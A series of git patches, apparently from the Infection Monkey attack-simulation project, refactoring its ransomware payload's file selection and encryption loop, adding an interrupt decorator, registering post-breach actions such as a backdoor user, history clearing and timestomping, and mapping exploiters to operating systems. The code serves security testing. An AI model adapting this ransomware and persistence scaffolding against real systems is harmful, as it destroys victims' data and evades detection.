diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py deleted file mode 100644 index db1069bf0..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py +++ /dev/null @@ -1,38 +0,0 @@ -from unittest import TestCase - -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.ComboFile import ( - BadInit, - ProperClass, -) -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking - - -class TestPlugin(TestCase): - def test_combo_file(self): - PluginTester.classes_to_load = [BadInit.__name__, ProperClass.__name__] - to_init = PluginTester.get_classes() - self.assertEqual(len(to_init), 2) - objects = PluginTester.get_instances() - self.assertEqual(len(objects), 1) - - def test_bad_init(self): - PluginTester.classes_to_load = [BadPluginInit.__name__] - to_init = PluginTester.get_classes() - self.assertEqual(len(to_init), 1) - objects = PluginTester.get_instances() - self.assertEqual(len(objects), 0) - - def test_bad_import(self): - PluginTester.classes_to_load = [SomeDummyPlugin.__name__] - to_init = PluginTester.get_classes() - self.assertEqual(len(to_init), 0) - - def test_flow(self): - PluginTester.classes_to_load = [PluginWorking.__name__] - to_init = PluginTester.get_classes() - self.assertEqual(len(to_init), 1) - objects = PluginTester.get_instances() - self.assertEqual(len(objects), 1) From 7c6ba2e276e1141c794789afbf94894f077ecefc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 08:27:45 -0400 Subject: [PATCH 0880/1110] Agent: Use iterators instead of lists for ransomware file filtering --- .../payload/ransomware/file_selectors.py | 4 ++-- .../payload/ransomware/ransomware.py | 22 ++++++++++--------- monkey/infection_monkey/utils/dir_utils.py | 8 +++---- .../payload/ransomware/test_file_selectors.py | 2 +- .../payload/ransomware/test_ransomware.py | 10 +++++---- .../infection_monkey/utils/test_dir_utils.py | 10 ++++----- 6 files changed, 30 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/payload/ransomware/file_selectors.py b/monkey/infection_monkey/payload/ransomware/file_selectors.py index bcdd87b46..1303970e7 100644 --- a/monkey/infection_monkey/payload/ransomware/file_selectors.py +++ b/monkey/infection_monkey/payload/ransomware/file_selectors.py @@ -1,6 +1,6 @@ import filecmp from pathlib import Path -from typing import List, Set +from typing import Iterable, Set from infection_monkey.utils.dir_utils import ( file_extension_filter, @@ -17,7 +17,7 @@ class ProductionSafeTargetFileSelector: def __init__(self, targeted_file_extensions: Set[str]): self._targeted_file_extensions = targeted_file_extensions - def __call__(self, target_dir: Path) -> List[Path]: + def __call__(self, target_dir: Path) -> Iterable[Path]: file_filters = [ file_extension_filter(self._targeted_file_extensions), is_not_shortcut_filter, diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index 9cf488c32..966476be2 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -1,7 +1,7 @@ import logging import threading from pathlib import Path -from typing import Callable, List +from typing import Callable, Iterable from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger @@ -18,7 +18,7 @@ class Ransomware: self, config: RansomwareOptions, encrypt_file: Callable[[Path], None], - select_files: Callable[[Path], List[Path]], + select_files: Callable[[Path], Iterable[Path]], leave_readme: Callable[[Path, Path], None], telemetry_messenger: ITelemetryMessenger, ): @@ -31,7 +31,9 @@ class Ransomware: self._target_directory = self._config.target_directory self._readme_file_path = ( - self._target_directory / README_FILE_NAME if self._target_directory else None + self._target_directory / README_FILE_NAME # type: ignore + if self._target_directory + else None ) def run(self, interrupt: threading.Event): @@ -41,23 +43,23 @@ class Ransomware: logger.info("Running ransomware payload") if self._config.encryption_enabled: - file_list = self._find_files() - self._encrypt_files(file_list, interrupt) + files_to_encrypt = self._find_files() + self._encrypt_files(files_to_encrypt, interrupt) if self._config.readme_enabled: self._leave_readme_in_target_directory(interrupt) - def _find_files(self) -> List[Path]: + def _find_files(self) -> Iterable[Path]: logger.info(f"Collecting files in {self._target_directory}") - return sorted(self._select_files(self._target_directory)) + return self._select_files(self._target_directory) # type: ignore - def _encrypt_files(self, file_list: List[Path], interrupt: threading.Event): + def _encrypt_files(self, files_to_encrypt: Iterable[Path], interrupt: threading.Event): logger.info(f"Encrypting files in {self._target_directory}") interrupted_message = ( "Received a stop signal, skipping remaining files for encryption of ransomware payload" ) - for filepath in interruptible_iter(file_list, interrupt, interrupted_message): + for filepath in interruptible_iter(files_to_encrypt, interrupt, interrupted_message): try: logger.debug(f"Encrypting {filepath}") self._encrypt_file(filepath) @@ -76,6 +78,6 @@ class Ransomware: return try: - self._leave_readme(README_SRC, self._readme_file_path) + self._leave_readme(README_SRC, self._readme_file_path) # type: ignore except Exception as ex: logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 2fd29af9e..da0a5e2e4 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -1,17 +1,17 @@ from pathlib import Path -from typing import Callable, Iterable, List, Set +from typing import Callable, Iterable, Set -def get_all_regular_files_in_directory(dir_path: Path) -> List[Path]: +def get_all_regular_files_in_directory(dir_path: Path) -> Iterable[Path]: return filter_files(dir_path.iterdir(), [lambda f: f.is_file()]) def filter_files( files: Iterable[Path], file_filters: Iterable[Callable[[Path], bool]] -) -> List[Path]: +) -> Iterable[Path]: filtered_files = files for file_filter in file_filters: - filtered_files = [f for f in filtered_files if file_filter(f)] + filtered_files = filter(file_filter, filtered_files) return filtered_files diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py index f779b733e..8b1309c07 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py @@ -24,7 +24,7 @@ def file_selector(): def test_select_targeted_files_only(ransomware_test_data, file_selector): - selected_files = file_selector(ransomware_test_data) + selected_files = list(file_selector(ransomware_test_data)) assert len(selected_files) == 2 assert (ransomware_test_data / ALL_ZEROS_PDF) in selected_files diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py index 365f9fecd..88f37037c 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py @@ -58,10 +58,12 @@ def mock_file_encryptor(): @pytest.fixture def mock_file_selector(ransomware_test_data): - selected_files = [ - ransomware_test_data / ALL_ZEROS_PDF, - ransomware_test_data / TEST_KEYBOARD_TXT, - ] + selected_files = iter( + [ + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / TEST_KEYBOARD_TXT, + ] + ) return MagicMock(return_value=selected_files) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index 8ebddf280..adf18bf5a 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -38,7 +38,7 @@ def test_get_all_regular_files_in_directory__no_files(tmp_path, monkeypatch): add_subdirs_to_dir(tmp_path) expected_return_value = [] - assert get_all_regular_files_in_directory(tmp_path) == expected_return_value + assert list(get_all_regular_files_in_directory(tmp_path)) == expected_return_value def test_get_all_regular_files_in_directory__has_files(tmp_path, monkeypatch): @@ -63,7 +63,7 @@ def test_filter_files__no_results(tmp_path): add_files_to_dir(tmp_path) files_in_dir = get_all_regular_files_in_directory(tmp_path) - filtered_files = filter_files(files_in_dir, [lambda _: False]) + filtered_files = list(filter_files(files_in_dir, [lambda _: False])) assert len(filtered_files) == 0 @@ -109,8 +109,8 @@ def test_is_not_symlink_filter(tmp_path): link_path = tmp_path / "symlink.test" link_path.symlink_to(files[0], target_is_directory=False) - files_in_dir = get_all_regular_files_in_directory(tmp_path) - filtered_files = filter_files(files_in_dir, [is_not_symlink_filter]) + files_in_dir = list(get_all_regular_files_in_directory(tmp_path)) + filtered_files = list(filter_files(files_in_dir, [is_not_symlink_filter])) assert link_path in files_in_dir assert len(filtered_files) == len(FILES) @@ -121,7 +121,7 @@ def test_is_not_shortcut_filter(tmp_path): add_files_to_dir(tmp_path) files_in_dir = get_all_regular_files_in_directory(tmp_path) - filtered_files = filter_files(files_in_dir, [is_not_shortcut_filter]) + filtered_files = list(filter_files(files_in_dir, [is_not_shortcut_filter])) assert len(filtered_files) == len(FILES) - 1 assert SHORTCUT not in [f.name for f in filtered_files] From 20e3b20cb5b2d67e378738fd2aa10ae90bcb4be8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 10:50:10 -0400 Subject: [PATCH 0881/1110] Agent: Add interruptible_function decorator --- monkey/infection_monkey/utils/threading.py | 56 ++++++++++++++++++- .../infection_monkey/utils/test_threading.py | 54 ++++++++++++++++++ 2 files changed, 109 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py index c7c1f7d58..0443978e6 100644 --- a/monkey/infection_monkey/utils/threading.py +++ b/monkey/infection_monkey/utils/threading.py @@ -1,7 +1,8 @@ import logging +from functools import wraps from itertools import count from threading import Event, Thread -from typing import Any, Callable, Iterable, Tuple +from typing import Any, Callable, Iterable, Optional, Tuple logger = logging.getLogger(__name__) @@ -53,3 +54,56 @@ def interruptible_iter( break yield i + + +def interruptible_function(*, msg: Optional[str] = None, default_return_value: Any = None): + """ + This decorator allows a function to be skipped if an interrupt (threading.Event) is set. This is + useful for interrupting running code without introducing duplicate `if` checks at the beginning + of each function. + + Note: It is required that the decorated function accept a keyword-only argument named + "interrupt". + + Example: + def run_algorithm(*inputs, interrupt: threading.Event): + return_value = do_action_1(inputs[1], interrupt=interrupt) + return_value = do_action_2(return_value + inputs[2], interrupt=interrupt) + return_value = do_action_3(return_value + inputs[3], interrupt=interrupt) + + return return_value + + @interruptible_function(msg="Interrupt detected, skipping action 1", default_return_value=0) + def do_action_1(input, *, interrupt: threading.Event): + # Process input + ... + + @interruptible_function(msg="Interrupt detected, skipping action 2", default_return_value=0) + def do_action_2(input, *, interrupt: threading.Event): + # Process input + ... + + @interruptible_function(msg="Interrupt detected, skipping action 2", default_return_value=0) + def do_action_2(input, *, interrupt: threading.Event): + # Process input + ... + + :param str msg: A message to log at the debug level if an interrupt is detected. Defaults to + None. + :param Any default_return_value: A value to return if the wrapped function is not run. Defaults + to None. + """ + + def _decorator(fn): + @wraps(fn) + def _wrapper(*args, interrupt: Event, **kwargs): + if interrupt.is_set(): + if msg: + logger.debug(msg) + return default_return_value + + return fn(*args, interrupt=interrupt, **kwargs) + + return _wrapper + + return _decorator diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py index 7e04a1455..96a289096 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py @@ -1,8 +1,10 @@ import logging from threading import Event, current_thread +from typing import Any from infection_monkey.utils.threading import ( create_daemon_thread, + interruptible_function, interruptible_iter, run_worker_threads, ) @@ -73,3 +75,55 @@ def test_worker_thread_names(): assert "B-01" in thread_names assert "B-02" in thread_names assert len(thread_names) == 6 + + +class MockFunction: + def __init__(self): + self._call_count = 0 + + @property + def call_count(self): + return self._call_count + + @property + def return_value(self): + return 42 + + def __call__(self, *_, interrupt: Event) -> Any: + self._call_count += 1 + + return self.return_value + + +def test_interruptible_decorator_calls_decorated_function(): + fn = MockFunction() + int_fn = interruptible_function()(fn) + + return_value = int_fn(interrupt=Event()) + + assert return_value == fn.return_value + assert fn.call_count == 1 + + +def test_interruptible_decorator_skips_decorated_function(): + fn = MockFunction() + int_fn = interruptible_function()(fn) + interrupt = Event() + interrupt.set() + + return_value = int_fn(interrupt=interrupt) + + assert return_value is None + assert fn.call_count == 0 + + +def test_interruptible_decorator_returns_default_value_on_interrupt(): + fn = MockFunction() + int_fn = interruptible_function(default_return_value=777)(fn) + interrupt = Event() + interrupt.set() + + return_value = int_fn(interrupt=interrupt) + + assert return_value == 777 + assert fn.call_count == 0 From 7047fa0cd0f97d676a410e0592f747e64cdc3190 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 10:50:40 -0400 Subject: [PATCH 0882/1110] Agent: Use interruptible_function decorator in ransomware payload --- .../infection_monkey/payload/ransomware/ransomware.py | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index 966476be2..915f4d22f 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -5,7 +5,7 @@ from typing import Callable, Iterable from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger -from infection_monkey.utils.threading import interruptible_iter +from infection_monkey.utils.threading import interruptible_function, interruptible_iter from .consts import README_FILE_NAME, README_SRC from .ransomware_options import RansomwareOptions @@ -47,7 +47,7 @@ class Ransomware: self._encrypt_files(files_to_encrypt, interrupt) if self._config.readme_enabled: - self._leave_readme_in_target_directory(interrupt) + self._leave_readme_in_target_directory(interrupt=interrupt) def _find_files(self) -> Iterable[Path]: logger.info(f"Collecting files in {self._target_directory}") @@ -72,11 +72,8 @@ class Ransomware: encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) - def _leave_readme_in_target_directory(self, interrupt: threading.Event): - if interrupt.is_set(): - logger.debug("Received a stop signal, skipping leave readme") - return - + @interruptible_function(msg="Received a stop signal, skipping leave readme") + def _leave_readme_in_target_directory(self, *, interrupt: threading.Event): try: self._leave_readme(README_SRC, self._readme_file_path) # type: ignore except Exception as ex: From 593095cdcfcbc415406f80fe39640d275ae00500 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 10:53:08 -0400 Subject: [PATCH 0883/1110] Agent: Reword a log message in ransomware payload --- monkey/infection_monkey/payload/ransomware/ransomware.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index 915f4d22f..e77c5b0b5 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -56,9 +56,7 @@ class Ransomware: def _encrypt_files(self, files_to_encrypt: Iterable[Path], interrupt: threading.Event): logger.info(f"Encrypting files in {self._target_directory}") - interrupted_message = ( - "Received a stop signal, skipping remaining files for encryption of ransomware payload" - ) + interrupted_message = "Received a stop signal, skipping encryption of remaining files" for filepath in interruptible_iter(files_to_encrypt, interrupt, interrupted_message): try: logger.debug(f"Encrypting {filepath}") From f67a4558686cd03daf61e9478179c903ea4b5f5c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 10:55:13 -0400 Subject: [PATCH 0884/1110] Agent: Add comment to Ransomware.encrypt_files() --- monkey/infection_monkey/payload/ransomware/ransomware.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index e77c5b0b5..47d4c0f89 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -60,6 +60,9 @@ class Ransomware: for filepath in interruptible_iter(files_to_encrypt, interrupt, interrupted_message): try: logger.debug(f"Encrypting {filepath}") + + # Note that encrypting a single file is not interruptible. This is so that we avoid + # leaving half-encrypted files on the user's system. self._encrypt_file(filepath) self._send_telemetry(filepath, True, "") except Exception as ex: From 0877b0a88535ed596dec9ed498d3f482dfaa0925 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 28 Mar 2022 10:17:26 +0300 Subject: [PATCH 0885/1110] Agent: Load PBA's into puppet --- monkey/infection_monkey/monkey.py | 36 +++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 66d881d93..478c8dde2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -37,6 +37,19 @@ from infection_monkey.network_scanning.mssql_fingerprinter import MSSQLFingerpri from infection_monkey.network_scanning.smb_fingerprinter import SMBFingerprinter from infection_monkey.network_scanning.ssh_fingerprinter import SSHFingerprinter from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload +from infection_monkey.post_breach.actions.change_file_privileges import ChangeSetuidSetgid +from infection_monkey.post_breach.actions.clear_command_history import ClearCommandHistory +from infection_monkey.post_breach.actions.collect_processes_list import ProcessListCollection +from infection_monkey.post_breach.actions.communicate_as_backdoor_user import ( + CommunicateAsBackdoorUser, +) +from infection_monkey.post_breach.actions.discover_accounts import AccountDiscovery +from infection_monkey.post_breach.actions.hide_files import HiddenFiles +from infection_monkey.post_breach.actions.modify_shell_startup_files import ModifyShellStartupFiles +from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs +from infection_monkey.post_breach.actions.timestomping import Timestomping +from infection_monkey.post_breach.actions.use_signed_scripts import SignedScriptProxyExecution +from infection_monkey.post_breach.actions.use_trap_command import TrapCommand from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -234,6 +247,29 @@ class InfectionMonkey: PluginType.EXPLOITER, ) + puppet.load_plugin( + "CommunicateAsBackdoorUser", CommunicateAsBackdoorUser, PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "ModifyShellStartupFiles", ModifyShellStartupFiles, PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin("HiddenFiles", HiddenFiles, PluginType.POST_BREACH_ACTION) + puppet.load_plugin("TrapCommand", CommunicateAsBackdoorUser, PluginType.POST_BREACH_ACTION) + puppet.load_plugin("ChangeSetuidSetgid", ChangeSetuidSetgid, PluginType.POST_BREACH_ACTION) + puppet.load_plugin("ScheduleJobs", ScheduleJobs, PluginType.POST_BREACH_ACTION) + puppet.load_plugin("Timestomping", Timestomping, PluginType.POST_BREACH_ACTION) + puppet.load_plugin("AccountDiscovery", AccountDiscovery, PluginType.POST_BREACH_ACTION) + puppet.load_plugin( + "ProcessListCollection", ProcessListCollection, PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin("TrapCommand", TrapCommand, PluginType.POST_BREACH_ACTION) + puppet.load_plugin( + "SignedScriptProxyExecution", SignedScriptProxyExecution, PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "ClearCommandHistory", ClearCommandHistory, PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) return puppet From b73c3d10e157f066214049f8cb1b6f413bfb61d7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Mar 2022 14:23:04 -0400 Subject: [PATCH 0886/1110] Island: Add a list of supported OSs to exploiters --- monkey/monkey_island/cc/services/config.py | 24 ++++++++++++++- .../monkey_configs/flat_config.json | 3 +- .../monkey_island/cc/services/test_config.py | 29 ++++++++++++------- 3 files changed, 44 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index f90df6847..c5f78e62d 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -3,6 +3,7 @@ import copy import functools import logging import re +from itertools import chain from typing import Any, Dict, List from jsonschema import Draft4Validator, validators @@ -629,9 +630,10 @@ class ConfigService: config.pop(flat_config_exploiter_classes_field, None) - return ConfigService._add_smb_download_timeout_to_exploiters( + formatted_exploiters_config = ConfigService._add_smb_download_timeout_to_exploiters( config, formatted_exploiters_config ) + return ConfigService._add_supported_os_to_exploiters(formatted_exploiters_config) @staticmethod def _add_smb_download_timeout_to_exploiters( @@ -644,3 +646,23 @@ class ConfigService: exploiter["options"]["smb_download_timeout"] = flat_config["smb_download_timeout"] return new_config + + @staticmethod + def _add_supported_os_to_exploiters( + formatted_config: Dict, + ) -> Dict[str, List[Dict[str, Any]]]: + supported_os = { + "HadoopExploiter": ["linux", "windows"], + "Log4ShellExploiter": ["linux", "windows"], + "MSSQLExploiter": ["windows"], + "PowerShellExploiter": ["windows"], + "SSHExploiter": ["linux"], + "SmbExploiter": ["windows"], + "WmiExploiter": ["windows"], + "ZerologonExploiter": ["windows"], + } + new_config = copy.deepcopy(formatted_config) + for exploiter in chain(new_config["brute_force"], new_config["vulnerability"]): + exploiter["supported_os"] = supported_os.get(exploiter["name"], []) + + return new_config diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index f36bc5d18..b9dae9453 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -55,7 +55,8 @@ "HadoopExploiter", "MSSQLExploiter", "DrupalExploiter", - "PowerShellExploiter" + "PowerShellExploiter", + "Log4ShellExploiter" ], "export_monkey_telems": false, "finger_classes": [ diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 72dafd168..ae0a44cdc 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -177,18 +177,27 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): "http_ports": [80, 443, 7001, 8008, 8080, 9200], }, "brute_force": [ - {"name": "MSSQLExploiter", "options": {}}, - {"name": "PowerShellExploiter", "options": {}}, - {"name": "SSHExploiter", "options": {}}, - {"name": "SmbExploiter", "options": {"smb_download_timeout": 300}}, - {"name": "WmiExploiter", "options": {"smb_download_timeout": 300}}, + {"name": "MSSQLExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "PowerShellExploiter", "supported_os": ["windows"], "options": {}}, + {"name": "SSHExploiter", "supported_os": ["linux"], "options": {}}, + { + "name": "SmbExploiter", + "supported_os": ["windows"], + "options": {"smb_download_timeout": 300}, + }, + { + "name": "WmiExploiter", + "supported_os": ["windows"], + "options": {"smb_download_timeout": 300}, + }, ], "vulnerability": [ - {"name": "DrupalExploiter", "options": {}}, - {"name": "HadoopExploiter", "options": {}}, - {"name": "Struts2Exploiter", "options": {}}, - {"name": "WebLogicExploiter", "options": {}}, - {"name": "ZerologonExploiter", "options": {}}, + {"name": "DrupalExploiter", "supported_os": [], "options": {}}, + {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, + {"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}}, + {"name": "Struts2Exploiter", "supported_os": [], "options": {}}, + {"name": "WebLogicExploiter", "supported_os": [], "options": {}}, + {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}, ], } ConfigService.format_flat_config_for_agent(flat_monkey_config) From 299a2613870b7e5e6b6afa301b54e15677aa36fa Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 28 Mar 2022 17:07:10 +0300 Subject: [PATCH 0887/1110] Agent: Refactor puppet and tools to use CONNECTION_TIMEOUT --- monkey/common/common_consts/timeouts.py | 3 ++- monkey/infection_monkey/network/tools.py | 3 ++- monkey/infection_monkey/puppet/puppet.py | 5 +++-- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/common/common_consts/timeouts.py b/monkey/common/common_consts/timeouts.py index f315e7518..de9e6edc5 100644 --- a/monkey/common/common_consts/timeouts.py +++ b/monkey/common/common_consts/timeouts.py @@ -1,3 +1,4 @@ -SHORT_REQUEST_TIMEOUT = 2.5 # Seconds. Use where we expect timeout. +SHORT_REQUEST_TIMEOUT = 2.5 # Seconds. Use where we expect timeout and for small data transactions. MEDIUM_REQUEST_TIMEOUT = 5 # Seconds. Use where we don't expect timeout. LONG_REQUEST_TIMEOUT = 15 # Seconds. Use where we don't expect timeout and operate heavy data. +CONNECTION_TIMEOUT = 3 # Seconds. Use for TCP, SSH and other connections that shouldn't take long. diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 7a863ea7d..c612a7e48 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -4,9 +4,10 @@ import socket import struct import sys +from common.common_consts.timeouts import CONNECTION_TIMEOUT from infection_monkey.network.info import get_routes -DEFAULT_TIMEOUT = 10 +DEFAULT_TIMEOUT = CONNECTION_TIMEOUT BANNER_READ = 1024 logger = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index d8bc8e0eb..87c5ee348 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -2,6 +2,7 @@ import logging import threading from typing import Dict, List, Sequence +from common.common_consts.timeouts import CONNECTION_TIMEOUT from infection_monkey import network_scanning from infection_monkey.i_puppet import ( Credentials, @@ -38,11 +39,11 @@ class Puppet(IPuppet): def run_pba(self, name: str, options: Dict) -> PostBreachData: return self._mock_puppet.run_pba(name, options) - def ping(self, host: str, timeout: float = 1) -> PingScanData: + def ping(self, host: str, timeout: float = CONNECTION_TIMEOUT) -> PingScanData: return network_scanning.ping(host, timeout) def scan_tcp_ports( - self, host: str, ports: List[int], timeout: float = 3 + self, host: str, ports: List[int], timeout: float = CONNECTION_TIMEOUT ) -> Dict[int, PortScanData]: return network_scanning.scan_tcp_ports(host, ports, timeout) From 3c853b662541fd38320b8691098a223049cc676c Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 28 Mar 2022 14:32:14 +0300 Subject: [PATCH 0888/1110] Agent: Change PostBreachTelemetry to accept post breach data --- monkey/infection_monkey/master/automated_master.py | 4 ++-- monkey/infection_monkey/telemetry/post_breach_telem.py | 7 ++++--- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 251240947..9d37ceb8b 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -198,8 +198,8 @@ class AutomatedMaster(IMaster): name = pba[0] options = pba[1] - display_name, command, result = self._puppet.run_pba(name, options) - self._telemetry_messenger.send_telemetry(PostBreachTelem(display_name, command, result)) + display_name, result = self._puppet.run_pba(name, options) + self._telemetry_messenger.send_telemetry(PostBreachTelem(display_name, result)) def _can_propagate(self) -> bool: return True diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index e4f93e30d..19dddf76f 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -2,12 +2,13 @@ import socket from typing import Dict, Tuple from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.i_puppet import PostBreachData from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.utils.environment import is_windows_os class PostBreachTelem(BaseTelem): - def __init__(self, name: str, command: str, result: str) -> None: + def __init__(self, name: str, post_breach_data: PostBreachData) -> None: """ Default post breach telemetry constructor :param name: Name of post breach action @@ -16,8 +17,8 @@ class PostBreachTelem(BaseTelem): """ super(PostBreachTelem, self).__init__() self.name = name - self.command = command - self.result = result + self.command = post_breach_data.command + self.result = post_breach_data.result self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip() telem_category = TelemCategoryEnum.POST_BREACH From 936b9ead05addc6ebe618fe679ff2d2e4f748730 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 29 Mar 2022 10:18:37 +0300 Subject: [PATCH 0889/1110] Agent: Change post breach telem to use name from data argument --- .../infection_monkey/master/automated_master.py | 4 ++-- .../telemetry/post_breach_telem.py | 15 +++++---------- 2 files changed, 7 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 9d37ceb8b..c1ced257c 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -198,8 +198,8 @@ class AutomatedMaster(IMaster): name = pba[0] options = pba[1] - display_name, result = self._puppet.run_pba(name, options) - self._telemetry_messenger.send_telemetry(PostBreachTelem(display_name, result)) + result = self._puppet.run_pba(name, options) + self._telemetry_messenger.send_telemetry(PostBreachTelem(result)) def _can_propagate(self) -> bool: return True diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index 19dddf76f..b968de71f 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -8,21 +8,16 